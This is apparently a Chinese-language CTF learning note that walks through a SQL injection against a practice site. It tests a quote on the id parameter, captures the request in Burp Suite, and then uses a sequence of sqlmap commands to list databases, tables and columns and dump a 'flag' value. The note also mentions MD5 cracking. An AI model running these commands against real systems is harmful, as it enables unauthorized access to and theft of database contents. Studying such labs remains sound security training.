使用sqlmap + burpsuite sql工具注入拿flag

记录一下自己重新开始学习web安全之路③。
目标网站：http://mashang.eicp.vip:1651/7WOY59OBj74nTwKzs3aftsh1MDELK2cG/

首先判断网站是否存在SQL注入漏洞

1.找交互点

发现只有url这一个交互点，搜索框和登录框都没有。

2.找注入点

在唯一的交互点url中输入？id=2‘

发现回显不正常，说明该url是一个注入点

打开burpsuite 的抓包功能，在url中输入？id=2’，开始抓包。

使用sqlmap工具。

1.查看数据库名称（message）

python sqlmap.py -r “C:\Users\86131\Desktop\555.txt” --current-db

–current-db //列出当前所有数据库名称

db // datebase

2.查看数据表名称（flag）

python sqlmap.py -r “C:\Users\86131\Desktop\555.txt” -D message --tables

-D //指定数据库名称

–tables // 列出所有的数据表

3.查看数据列名称（flag）

python sqlmap.py -r “C:\Users\86131\Desktop\555.txt” -D message -T flag --columns

-D //指定数据库名称

-T // 指定数据表名称

–columns // 列出所有的列

4.查看数据

python sqlmap.py -r “C:\Users\86131\Desktop\555.txt” -D message -T flag -C flag --dump

-D //指定数据库名称

-T // 指定数据表名称

-C // 指定数据列名称

–dump // 读取数据

MD5解密

遇到的问题

抓到的包必须是注入点的包，不然用sqlmap的时候，会报错。